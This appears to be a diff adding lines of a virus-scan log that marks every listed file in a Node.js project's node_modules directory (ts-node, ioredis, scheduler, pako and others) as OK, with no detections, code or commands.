+/scan/node_modules/ts-node-dev/lib/resolveMain.js: OK
+/scan/node_modules/ts-node-dev/lib/check-file-exists.js: OK
+/scan/node_modules/ts-node/node10/tsconfig.json: OK
+/scan/node_modules/ts-node/LICENSE: OK
+/scan/node_modules/ts-node/tsconfig.schema.json: OK
+/scan/node_modules/ts-node/node16/tsconfig.json: OK
+/scan/node_modules/ts-node/dist/node-module-type-classifier.d.ts: OK
+/scan/node_modules/ts-node/dist/ts-internals.js: OK
+/scan/node_modules/ts-node/dist/cjs-resolve-hooks.js.map: OK
+/scan/node_modules/ts-node/dist/bin-transpile.js.map: OK
+/scan/node_modules/ts-node/dist/resolver-functions.js.map: OK
+/scan/node_modules/ts-node/dist/repl.js: OK
+/scan/node_modules/ts-node/dist/util.js: OK
+/scan/node_modules/ts-node/dist/bin.js.map: OK
+/scan/node_modules/ts-node/dist/tsconfigs.d.ts: OK
+/scan/node_modules/ts-node/dist/resolver-functions.d.ts: OK
+/scan/node_modules/ts-node/dist/module-type-classifier.d.ts: OK
+/scan/node_modules/ts-node/dist/util.js.map: OK
+/scan/node_modules/ts-node/dist/cjs-resolve-hooks.d.ts: OK
+/scan/node_modules/ts-node/dist/bin.js: OK
+/scan/node_modules/ts-node/dist/repl.js.map: OK
+/scan/node_modules/ts-node/dist/bin-script.js: OK
+/scan/node_modules/ts-node/dist/bin-transpile.js: OK
+/scan/node_modules/ts-node/dist/ts-transpile-module.js.map: OK
+/scan/node_modules/ts-node/dist/tsconfigs.js: OK
+/scan/node_modules/ts-node/dist/esm.js: OK
+/scan/node_modules/ts-node/dist/configuration.js.map: OK
+/scan/node_modules/ts-node/dist/node-module-type-classifier.js: OK
+/scan/node_modules/ts-node/dist/configuration.js: OK
+/scan/node_modules/ts-node/dist/esm.js.map: OK
+/scan/node_modules/ts-node/dist/cjs-resolve-hooks.js: OK
+/scan/node_modules/ts-node/dist/bin-script-deprecated.js: OK
+/scan/node_modules/ts-node/dist/bin-cwd.js: OK
+/scan/node_modules/ts-node/dist/module-type-classifier.js.map: OK
+/scan/node_modules/ts-node/dist/index.js: OK
+/scan/node_modules/ts-node/dist/module-type-classifier.js: OK
+/scan/node_modules/ts-node/dist/bin-cwd.d.ts: OK
+/scan/node_modules/ts-node/dist/transpilers/types.js: OK
+/scan/node_modules/ts-node/dist/transpilers/types.js.map: OK
+/scan/node_modules/ts-node/dist/transpilers/swc.js.map: OK
+/scan/node_modules/ts-node/dist/transpilers/types.d.ts: OK
+/scan/node_modules/ts-node/dist/transpilers/swc.d.ts: OK
+/scan/node_modules/ts-node/dist/transpilers/swc.js: OK
+/scan/node_modules/ts-node/dist/file-extensions.js: OK
+/scan/node_modules/ts-node/dist/esm.d.ts: OK
+/scan/node_modules/ts-node/dist/ts-internals.js.map: OK
+/scan/node_modules/ts-node/dist/ts-internals.d.ts: OK
+/scan/node_modules/ts-node/dist/file-extensions.js.map: OK
+/scan/node_modules/ts-node/dist/bin-transpile.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-script-deprecated.js.map: OK
+/scan/node_modules/ts-node/dist/configuration.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-esm.js.map: OK
+/scan/node_modules/ts-node/dist/ts-compiler-types.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-esm.d.ts: OK
+/scan/node_modules/ts-node/dist/ts-transpile-module.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-script.js.map: OK
+/scan/node_modules/ts-node/dist/repl.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-esm.js: OK
+/scan/node_modules/ts-node/dist/tsconfigs.js.map: OK
+/scan/node_modules/ts-node/dist/index.js.map: OK
+/scan/node_modules/ts-node/dist/ts-compiler-types.js: OK
+/scan/node_modules/ts-node/dist/ts-compiler-types.js.map: OK
+/scan/node_modules/ts-node/dist/util.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-script.d.ts: OK
+/scan/node_modules/ts-node/dist/bin-script-deprecated.d.ts: OK
+/scan/node_modules/ts-node/dist/ts-transpile-module.js: OK
+/scan/node_modules/ts-node/dist/index.d.ts: OK
+/scan/node_modules/ts-node/dist/tsconfig-schema.d.ts: OK
+/scan/node_modules/ts-node/dist/tsconfig-schema.js: OK
+/scan/node_modules/ts-node/dist/child/child-loader.js.map: OK
+/scan/node_modules/ts-node/dist/child/argv-payload.d.ts: OK
+/scan/node_modules/ts-node/dist/child/spawn-child.js: OK
+/scan/node_modules/ts-node/dist/child/child-require.js: OK
+/scan/node_modules/ts-node/dist/child/child-loader.js: OK
+/scan/node_modules/ts-node/dist/child/child-entrypoint.js: OK
+/scan/node_modules/ts-node/dist/child/child-require.d.ts: OK
+/scan/node_modules/ts-node/dist/child/spawn-child.d.ts: OK
+/scan/node_modules/ts-node/dist/child/spawn-child.js.map: OK
+/scan/node_modules/ts-node/dist/child/child-require.js.map: OK
+/scan/node_modules/ts-node/dist/child/child-entrypoint.d.ts: OK
+/scan/node_modules/ts-node/dist/child/argv-payload.js.map: OK
+/scan/node_modules/ts-node/dist/child/child-loader.d.ts: OK
+/scan/node_modules/ts-node/dist/child/child-entrypoint.js.map: OK
+/scan/node_modules/ts-node/dist/child/argv-payload.js: OK
+/scan/node_modules/ts-node/dist/node-module-type-classifier.js.map: OK
+/scan/node_modules/ts-node/dist/bin.d.ts: OK
+/scan/node_modules/ts-node/dist/resolver-functions.js: OK
+/scan/node_modules/ts-node/dist/tsconfig-schema.js.map: OK
+/scan/node_modules/ts-node/dist/bin-cwd.js.map: OK
+/scan/node_modules/ts-node/dist/file-extensions.d.ts: OK
+/scan/node_modules/ts-node/tsconfig.schemastore-schema.json: OK
+/scan/node_modules/ts-node/esm/transpile-only.mjs: OK
+/scan/node_modules/ts-node/node_modules/arg/LICENSE.md: OK
+/scan/node_modules/ts-node/node_modules/arg/index.js: OK
+/scan/node_modules/ts-node/node_modules/arg/README.md: OK
+/scan/node_modules/ts-node/node_modules/arg/package.json: OK
+/scan/node_modules/ts-node/node_modules/arg/index.d.ts: OK
+/scan/node_modules/ts-node/child-loader.mjs: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-modules-cjs-loader.js: OK
+/scan/node_modules/ts-node/dist-raw/NODE-LICENSE.md: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-modules-cjs-helpers.js: OK
+/scan/node_modules/ts-node/dist-raw/node-nativemodule.js: OK
+/scan/node_modules/ts-node/dist-raw/node-options.js: OK
+/scan/node_modules/ts-node/dist-raw/README.md: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-modules-esm-resolve.js: OK
+/scan/node_modules/ts-node/dist-raw/node-primordials.js: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-repl-await.js: OK
+/scan/node_modules/ts-node/dist-raw/node-internalBinding-fs.js: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-modules-package_json_reader.js: OK
+/scan/node_modules/ts-node/dist-raw/runmain-hack.js: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-constants.js: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-modules-esm-get_format.js: OK
+/scan/node_modules/ts-node/dist-raw/node-internal-errors.js: OK
+/scan/node_modules/ts-node/transpilers/swc-experimental.js: OK
+/scan/node_modules/ts-node/transpilers/swc.js: OK
+/scan/node_modules/ts-node/README.md: OK
+/scan/node_modules/ts-node/register/transpile-only.js: OK
+/scan/node_modules/ts-node/register/type-check.js: OK
+/scan/node_modules/ts-node/register/files.js: OK
+/scan/node_modules/ts-node/register/index.js: OK
+/scan/node_modules/ts-node/package.json: OK
+/scan/node_modules/ts-node/esm.mjs: OK
+/scan/node_modules/ts-node/node14/tsconfig.json: OK
+/scan/node_modules/ts-node/node12/tsconfig.json: OK
+/scan/node_modules/call-bound/LICENSE: OK
+/scan/node_modules/call-bound/test/index.js: OK
+/scan/node_modules/call-bound/CHANGELOG.md: OK
+/scan/node_modules/call-bound/.eslintrc: OK
+/scan/node_modules/call-bound/index.js: OK
+/scan/node_modules/call-bound/README.md: OK
+/scan/node_modules/call-bound/package.json: OK
+/scan/node_modules/call-bound/.github/FUNDING.yml: OK
+/scan/node_modules/call-bound/tsconfig.json: OK
+/scan/node_modules/call-bound/.nycrc: OK
+/scan/node_modules/call-bound/index.d.ts: OK
+/scan/node_modules/proto-list/LICENSE: OK
+/scan/node_modules/proto-list/test/basic.js: OK
+/scan/node_modules/proto-list/README.md: OK
+/scan/node_modules/proto-list/package.json: OK
+/scan/node_modules/proto-list/proto-list.js: OK
+/scan/node_modules/scheduler/build-info.json: OK
+/scan/node_modules/scheduler/unstable_mock.js: OK
+/scan/node_modules/scheduler/LICENSE: OK
+/scan/node_modules/scheduler/umd/scheduler-unstable_mock.production.min.js: OK
+/scan/node_modules/scheduler/umd/scheduler.development.js: OK
+/scan/node_modules/scheduler/umd/scheduler.production.min.js: OK
+/scan/node_modules/scheduler/umd/scheduler-tracing.production.min.js: OK
+/scan/node_modules/scheduler/umd/scheduler-tracing.profiling.min.js: OK
+/scan/node_modules/scheduler/umd/scheduler-unstable_mock.development.js: OK
+/scan/node_modules/scheduler/umd/scheduler-tracing.development.js: OK
+/scan/node_modules/scheduler/umd/scheduler.profiling.min.js: OK
+/scan/node_modules/scheduler/tracing.js: OK
+/scan/node_modules/scheduler/index.js: OK
+/scan/node_modules/scheduler/README.md: OK
+/scan/node_modules/scheduler/tracing-profiling.js: OK
+/scan/node_modules/scheduler/package.json: OK
+/scan/node_modules/scheduler/cjs/scheduler-unstable_mock.production.min.js: OK
+/scan/node_modules/scheduler/cjs/scheduler.development.js: OK
+/scan/node_modules/scheduler/cjs/scheduler.production.min.js: OK
+/scan/node_modules/scheduler/cjs/scheduler-tracing.production.min.js: OK
+/scan/node_modules/scheduler/cjs/scheduler-tracing.profiling.min.js: OK
+/scan/node_modules/scheduler/cjs/scheduler-unstable_mock.development.js: OK
+/scan/node_modules/scheduler/cjs/scheduler-tracing.development.js: OK
+/scan/node_modules/strip-ansi-cjs/license: OK
+/scan/node_modules/strip-ansi-cjs/index.js: OK
+/scan/node_modules/strip-ansi-cjs/readme.md: OK
+/scan/node_modules/strip-ansi-cjs/package.json: OK
+/scan/node_modules/strip-ansi-cjs/index.d.ts: OK
+/scan/node_modules/pify/license: OK
+/scan/node_modules/pify/index.js: OK
+/scan/node_modules/pify/readme.md: OK
+/scan/node_modules/pify/package.json: OK
+/scan/node_modules/ioredis/LICENSE: OK
+/scan/node_modules/ioredis/built/transaction.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/index.js: OK
+/scan/node_modules/ioredis/built/connectors/ConnectorConstructor.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/FailoverDetector.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/types.js: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/types.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/index.js: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/SentinelIterator.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/FailoverDetector.js: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/index.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/SentinelConnector/SentinelIterator.js: OK
+/scan/node_modules/ioredis/built/connectors/StandaloneConnector.js: OK
+/scan/node_modules/ioredis/built/connectors/ConnectorConstructor.js: OK
+/scan/node_modules/ioredis/built/connectors/index.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/StandaloneConnector.d.ts: OK
+/scan/node_modules/ioredis/built/connectors/AbstractConnector.js: OK
+/scan/node_modules/ioredis/built/connectors/AbstractConnector.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/util.js: OK
+/scan/node_modules/ioredis/built/cluster/ClusterSubscriberGroup.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/index.js: OK
+/scan/node_modules/ioredis/built/cluster/ClusterSubscriber.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/ClusterOptions.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/ClusterSubscriberGroup.js: OK
+/scan/node_modules/ioredis/built/cluster/DelayQueue.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/ClusterSubscriber.js: OK
+/scan/node_modules/ioredis/built/cluster/DelayQueue.js: OK
+/scan/node_modules/ioredis/built/cluster/ClusterOptions.js: OK
+/scan/node_modules/ioredis/built/cluster/ShardedSubscriber.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/ConnectionPool.js: OK
+/scan/node_modules/ioredis/built/cluster/ShardedSubscriber.js: OK
+/scan/node_modules/ioredis/built/cluster/ConnectionPool.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/util.d.ts: OK
+/scan/node_modules/ioredis/built/cluster/index.d.ts: OK
+/scan/node_modules/ioredis/built/transaction.js: OK
+/scan/node_modules/ioredis/built/autoPipelining.js: OK
+/scan/node_modules/ioredis/built/types.js: OK
+/scan/node_modules/ioredis/built/Script.d.ts: OK
+/scan/node_modules/ioredis/built/autoPipelining.d.ts: OK
+/scan/node_modules/ioredis/built/redis/RedisOptions.d.ts: OK
+/scan/node_modules/ioredis/built/redis/RedisOptions.js: OK
+/scan/node_modules/ioredis/built/redis/event_handler.js: OK
+/scan/node_modules/ioredis/built/redis/event_handler.d.ts: OK
+/scan/node_modules/ioredis/built/types.d.ts: OK
+/scan/node_modules/ioredis/built/constants/TLSProfiles.js: OK
+/scan/node_modules/ioredis/built/constants/TLSProfiles.d.ts: OK
+/scan/node_modules/ioredis/built/ScanStream.d.ts: OK
+/scan/node_modules/ioredis/built/ScanStream.js: OK
+/scan/node_modules/ioredis/built/index.js: OK
+/scan/node_modules/ioredis/built/utils/debug.d.ts: OK
+/scan/node_modules/ioredis/built/utils/index.js: OK
+/scan/node_modules/ioredis/built/utils/applyMixin.js: OK
+/scan/node_modules/ioredis/built/utils/RedisCommander.d.ts: OK
+/scan/node_modules/ioredis/built/utils/Commander.js: OK
+/scan/node_modules/ioredis/built/utils/argumentParsers.js: OK
+/scan/node_modules/ioredis/built/utils/index.d.ts: OK
+/scan/node_modules/ioredis/built/utils/lodash.d.ts: OK
+/scan/node_modules/ioredis/built/utils/lodash.js: OK
+/scan/node_modules/ioredis/built/utils/RedisCommander.js: OK
+/scan/node_modules/ioredis/built/utils/argumentParsers.d.ts: OK
+/scan/node_modules/ioredis/built/utils/Commander.d.ts: OK
+/scan/node_modules/ioredis/built/utils/debug.js: OK
+/scan/node_modules/ioredis/built/utils/applyMixin.d.ts: OK
+/scan/node_modules/ioredis/built/DataHandler.d.ts: OK
+/scan/node_modules/ioredis/built/Command.js: OK
+/scan/node_modules/ioredis/built/SubscriptionSet.js: OK
+/scan/node_modules/ioredis/built/DataHandler.js: OK
+/scan/node_modules/ioredis/built/Script.js: OK
+/scan/node_modules/ioredis/built/Command.d.ts: OK
+/scan/node_modules/ioredis/built/Redis.js: OK
+/scan/node_modules/ioredis/built/Redis.d.ts: OK
+/scan/node_modules/ioredis/built/SubscriptionSet.d.ts: OK
+/scan/node_modules/ioredis/built/errors/MaxRetriesPerRequestError.js: OK
+/scan/node_modules/ioredis/built/errors/ClusterAllFailedError.js: OK
+/scan/node_modules/ioredis/built/errors/index.js: OK
+/scan/node_modules/ioredis/built/errors/MaxRetriesPerRequestError.d.ts: OK
+/scan/node_modules/ioredis/built/errors/index.d.ts: OK
+/scan/node_modules/ioredis/built/errors/ClusterAllFailedError.d.ts: OK
+/scan/node_modules/ioredis/built/index.d.ts: OK
+/scan/node_modules/ioredis/built/Pipeline.d.ts: OK
+/scan/node_modules/ioredis/built/Pipeline.js: OK
+/scan/node_modules/ioredis/README.md: OK
+/scan/node_modules/ioredis/package.json: OK
+/scan/node_modules/lodash.isnumber/LICENSE: OK
+/scan/node_modules/lodash.isnumber/index.js: OK
+/scan/node_modules/lodash.isnumber/README.md: OK
+/scan/node_modules/lodash.isnumber/package.json: OK
+/scan/node_modules/parent-module/license: OK
+/scan/node_modules/parent-module/index.js: OK
+/scan/node_modules/parent-module/readme.md: OK
+/scan/node_modules/parent-module/package.json: OK
+/scan/node_modules/@humanwhocodes/config-array/LICENSE: OK
+/scan/node_modules/@humanwhocodes/config-array/README.md: OK
+/scan/node_modules/@humanwhocodes/config-array/package.json: OK
+/scan/node_modules/@humanwhocodes/config-array/api.js: OK
+/scan/node_modules/@humanwhocodes/module-importer/LICENSE: OK
+/scan/node_modules/@humanwhocodes/module-importer/CHANGELOG.md: OK
+/scan/node_modules/@humanwhocodes/module-importer/dist/module-importer.d.cts: OK
+/scan/node_modules/@humanwhocodes/module-importer/dist/module-importer.js: OK
+/scan/node_modules/@humanwhocodes/module-importer/dist/module-importer.cjs: OK
+/scan/node_modules/@humanwhocodes/module-importer/dist/module-importer.d.ts: OK
+/scan/node_modules/@humanwhocodes/module-importer/README.md: OK
+/scan/node_modules/@humanwhocodes/module-importer/package.json: OK
+/scan/node_modules/@humanwhocodes/module-importer/src/module-importer.js: OK
+/scan/node_modules/@humanwhocodes/module-importer/src/module-importer.cjs: OK
+/scan/node_modules/@humanwhocodes/object-schema/LICENSE: OK
+/scan/node_modules/@humanwhocodes/object-schema/CHANGELOG.md: OK
+/scan/node_modules/@humanwhocodes/object-schema/README.md: OK
+/scan/node_modules/@humanwhocodes/object-schema/package.json: OK
+/scan/node_modules/@humanwhocodes/object-schema/src/validation-strategy.js: OK
+/scan/node_modules/@humanwhocodes/object-schema/src/index.js: OK
+/scan/node_modules/@humanwhocodes/object-schema/src/object-schema.js: OK
+/scan/node_modules/@humanwhocodes/object-schema/src/merge-strategy.js: OK
+/scan/node_modules/.prisma/client/deno/edge.d.ts: OK
+/scan/node_modules/.prisma/client/edge.d.ts: OK
+/scan/node_modules/.prisma/client/wasm.d.ts: OK
+/scan/node_modules/.prisma/client/index.js: OK
+/scan/node_modules/.prisma/client/edge.js: OK
+/scan/node_modules/.prisma/client/index-browser.js: OK
+/scan/node_modules/.prisma/client/wasm.js: OK
+/scan/node_modules/.prisma/client/default.js: OK
+/scan/node_modules/.prisma/client/index.d.ts: OK
+/scan/node_modules/.prisma/client/default.d.ts: OK
+/scan/node_modules/tinyspy/dist/index.js: OK
+/scan/node_modules/tinyspy/dist/index.cjs: OK
+/scan/node_modules/tinyspy/dist/index.d.ts: OK
+/scan/node_modules/tinyspy/README.md: OK
+/scan/node_modules/tinyspy/package.json: OK
+/scan/node_modules/tinyspy/LICENCE: OK
+/scan/node_modules/is-binary-path/license: OK
+/scan/node_modules/is-binary-path/index.js: OK
+/scan/node_modules/is-binary-path/readme.md: OK
+/scan/node_modules/is-binary-path/package.json: OK
+/scan/node_modules/is-binary-path/index.d.ts: OK
+/scan/node_modules/combined-stream/License: OK
+/scan/node_modules/combined-stream/Readme.md: OK
+/scan/node_modules/combined-stream/yarn.lock: OK
+/scan/node_modules/combined-stream/package.json: OK
+/scan/node_modules/combined-stream/lib/combined_stream.js: OK
+/scan/node_modules/dunder-proto/get.d.ts: OK
+/scan/node_modules/dunder-proto/set.d.ts: OK
+/scan/node_modules/dunder-proto/LICENSE: OK
+/scan/node_modules/dunder-proto/test/index.js: OK
+/scan/node_modules/dunder-proto/test/set.js: OK
+/scan/node_modules/dunder-proto/test/get.js: OK
+/scan/node_modules/dunder-proto/CHANGELOG.md: OK
+/scan/node_modules/dunder-proto/.eslintrc: OK
+/scan/node_modules/dunder-proto/set.js: OK
+/scan/node_modules/dunder-proto/README.md: OK
+/scan/node_modules/dunder-proto/package.json: OK
+/scan/node_modules/dunder-proto/.github/FUNDING.yml: OK
+/scan/node_modules/dunder-proto/get.js: OK
+/scan/node_modules/dunder-proto/tsconfig.json: OK
+/scan/node_modules/dunder-proto/.nycrc: OK
+/scan/node_modules/@cspotcode/source-map-support/LICENSE.md: OK
+/scan/node_modules/@cspotcode/source-map-support/browser-source-map-support.js: OK
+/scan/node_modules/@cspotcode/source-map-support/source-map-support.js: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/LICENSE: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/resolve.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/types.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/trace-mapping.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/by-source.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/binary-search.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/any-map.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/strip-filename.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/sourcemap-segment.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/types/sort.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.mjs.map: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.umd.js.map: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.umd.js: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/dist/trace-mapping.mjs: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/README.md: OK
+/scan/node_modules/@cspotcode/source-map-support/node_modules/@jridgewell/trace-mapping/package.json: OK
+/scan/node_modules/@cspotcode/source-map-support/register-hook-require.js: OK
+/scan/node_modules/@cspotcode/source-map-support/register.js: OK
+/scan/node_modules/@cspotcode/source-map-support/README.md: OK
+/scan/node_modules/@cspotcode/source-map-support/source-map-support.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/package.json: OK
+/scan/node_modules/@cspotcode/source-map-support/register.d.ts: OK
+/scan/node_modules/@cspotcode/source-map-support/register-hook-require.d.ts: OK
+/scan/node_modules/d3-time/LICENSE: OK
+/scan/node_modules/d3-time/dist/d3-time.js: OK
+/scan/node_modules/d3-time/dist/d3-time.min.js: OK
+/scan/node_modules/d3-time/README.md: OK
+/scan/node_modules/d3-time/package.json: OK
+/scan/node_modules/d3-time/src/duration.js: OK
+/scan/node_modules/d3-time/src/second.js: OK
+/scan/node_modules/d3-time/src/ticks.js: OK
+/scan/node_modules/d3-time/src/interval.js: OK
+/scan/node_modules/d3-time/src/index.js: OK
+/scan/node_modules/d3-time/src/year.js: OK
+/scan/node_modules/d3-time/src/week.js: OK
+/scan/node_modules/d3-time/src/month.js: OK
+/scan/node_modules/d3-time/src/day.js: OK
+/scan/node_modules/d3-time/src/minute.js: OK
+/scan/node_modules/d3-time/src/millisecond.js: OK
+/scan/node_modules/d3-time/src/hour.js: OK
+/scan/node_modules/path-to-regexp/LICENSE: OK
+/scan/node_modules/path-to-regexp/index.js: OK
+/scan/node_modules/path-to-regexp/Readme.md: OK
+/scan/node_modules/path-to-regexp/package.json: OK
+/scan/node_modules/hasown/LICENSE: OK
+/scan/node_modules/hasown/CHANGELOG.md: OK
+/scan/node_modules/hasown/index.js: OK
+/scan/node_modules/hasown/README.md: OK
+/scan/node_modules/hasown/package.json: OK
+/scan/node_modules/hasown/.github/FUNDING.yml: OK
+/scan/node_modules/hasown/tsconfig.json: OK
+/scan/node_modules/hasown/.nycrc: OK
+/scan/node_modules/hasown/index.d.ts: OK
+/scan/node_modules/hasown/eslint.config.mjs: OK
+/scan/node_modules/safer-buffer/LICENSE: OK
+/scan/node_modules/safer-buffer/Porting-Buffer.md: OK
+/scan/node_modules/safer-buffer/safer.js: OK
+/scan/node_modules/safer-buffer/Readme.md: OK
+/scan/node_modules/safer-buffer/tests.js: OK
+/scan/node_modules/safer-buffer/package.json: OK
+/scan/node_modules/safer-buffer/dangerous.js: OK
+/scan/node_modules/side-channel-weakmap/LICENSE: OK
+/scan/node_modules/side-channel-weakmap/test/index.js: OK
+/scan/node_modules/side-channel-weakmap/CHANGELOG.md: OK
+/scan/node_modules/side-channel-weakmap/.eslintrc: OK
+/scan/node_modules/side-channel-weakmap/index.js: OK
+/scan/node_modules/side-channel-weakmap/.editorconfig: OK
+/scan/node_modules/side-channel-weakmap/README.md: OK
+/scan/node_modules/side-channel-weakmap/package.json: OK
+/scan/node_modules/side-channel-weakmap/.github/FUNDING.yml: OK
+/scan/node_modules/side-channel-weakmap/tsconfig.json: OK
+/scan/node_modules/side-channel-weakmap/.nycrc: OK
+/scan/node_modules/side-channel-weakmap/index.d.ts: OK
+/scan/node_modules/is-path-inside/license: OK
+/scan/node_modules/is-path-inside/index.js: OK
+/scan/node_modules/is-path-inside/readme.md: OK
+/scan/node_modules/is-path-inside/package.json: OK
+/scan/node_modules/is-path-inside/index.d.ts: OK
+/scan/node_modules/deepmerge/changelog.md: OK
+/scan/node_modules/deepmerge/dist/cjs.js: OK
+/scan/node_modules/deepmerge/dist/umd.js: OK
+/scan/node_modules/deepmerge/index.js: OK
+/scan/node_modules/deepmerge/.editorconfig: OK
+/scan/node_modules/deepmerge/readme.md: OK
+/scan/node_modules/deepmerge/rollup.config.js: OK
+/scan/node_modules/deepmerge/package.json: OK
+/scan/node_modules/deepmerge/license.txt: OK
+/scan/node_modules/deepmerge/index.d.ts: OK
+/scan/node_modules/deepmerge/.eslintcache: OK
+/scan/node_modules/run-parallel/LICENSE: OK
+/scan/node_modules/run-parallel/index.js: OK
+/scan/node_modules/run-parallel/README.md: OK
+/scan/node_modules/run-parallel/package.json: OK
+/scan/node_modules/p-limit/license: OK
+/scan/node_modules/p-limit/index.js: OK
+/scan/node_modules/p-limit/readme.md: OK
+/scan/node_modules/p-limit/package.json: OK
+/scan/node_modules/p-limit/index.d.ts: OK
+/scan/node_modules/lodash.camelcase/LICENSE: OK
+/scan/node_modules/lodash.camelcase/index.js: OK
+/scan/node_modules/lodash.camelcase/README.md: OK
+/scan/node_modules/lodash.camelcase/package.json: OK
+/scan/node_modules/diff/release-notes.md: OK
+/scan/node_modules/diff/runtime.js: OK
+/scan/node_modules/diff/LICENSE: OK
+/scan/node_modules/diff/dist/diff.min.js: OK
+/scan/node_modules/diff/dist/diff.js: OK
+/scan/node_modules/diff/README.md: OK
+/scan/node_modules/diff/package.json: OK
+/scan/node_modules/diff/CONTRIBUTING.md: OK
+/scan/node_modules/diff/lib/util/params.js: OK
+/scan/node_modules/diff/lib/util/distance-iterator.js: OK
+/scan/node_modules/diff/lib/util/array.js: OK
+/scan/node_modules/diff/lib/index.js: OK
+/scan/node_modules/diff/lib/diff/line.js: OK
+/scan/node_modules/diff/lib/diff/array.js: OK
+/scan/node_modules/diff/lib/diff/base.js: OK
+/scan/node_modules/diff/lib/diff/word.js: OK
+/scan/node_modules/diff/lib/diff/json.js: OK
+/scan/node_modules/diff/lib/diff/sentence.js: OK
+/scan/node_modules/diff/lib/diff/css.js: OK
+/scan/node_modules/diff/lib/diff/character.js: OK
+/scan/node_modules/diff/lib/patch/merge.js: OK
+/scan/node_modules/diff/lib/patch/create.js: OK
+/scan/node_modules/diff/lib/patch/parse.js: OK
+/scan/node_modules/diff/lib/patch/apply.js: OK
+/scan/node_modules/diff/lib/index.es6.js: OK
+/scan/node_modules/diff/lib/convert/xml.js: OK
+/scan/node_modules/diff/lib/convert/dmp.js: OK
+/scan/node_modules/mime-types/LICENSE: OK
+/scan/node_modules/mime-types/HISTORY.md: OK
+/scan/node_modules/mime-types/index.js: OK
+/scan/node_modules/mime-types/README.md: OK
+/scan/node_modules/mime-types/package.json: OK
+/scan/node_modules/bignumber.js/bignumber.d.ts: OK
+/scan/node_modules/bignumber.js/bignumber.mjs: OK
+/scan/node_modules/bignumber.js/CHANGELOG.md: OK
+/scan/node_modules/bignumber.js/bignumber.d.mts: OK
+/scan/node_modules/bignumber.js/LICENCE.md: OK
+/scan/node_modules/bignumber.js/types.d.ts: OK
+/scan/node_modules/bignumber.js/bignumber.js: OK
+/scan/node_modules/bignumber.js/README.md: OK
+/scan/node_modules/bignumber.js/package.json: OK
+/scan/node_modules/bignumber.js/doc/API.html: OK
+/scan/node_modules/unicode-trie/swap.js: OK
+/scan/node_modules/unicode-trie/LICENSE: OK
+/scan/node_modules/unicode-trie/test/mocha.opts: OK
+/scan/node_modules/unicode-trie/test/test.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/LICENSE: OK
+/scan/node_modules/unicode-trie/node_modules/pako/CHANGELOG.md: OK
+/scan/node_modules/unicode-trie/node_modules/pako/dist/pako_inflate.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/dist/pako_deflate.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/dist/pako.min.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/dist/pako_deflate.min.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/dist/pako.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/dist/pako_inflate.min.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/index.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/README.md: OK
+/scan/node_modules/unicode-trie/node_modules/pako/package.json: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/inflate.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/deflate.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/utils/strings.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/utils/common.js: OK
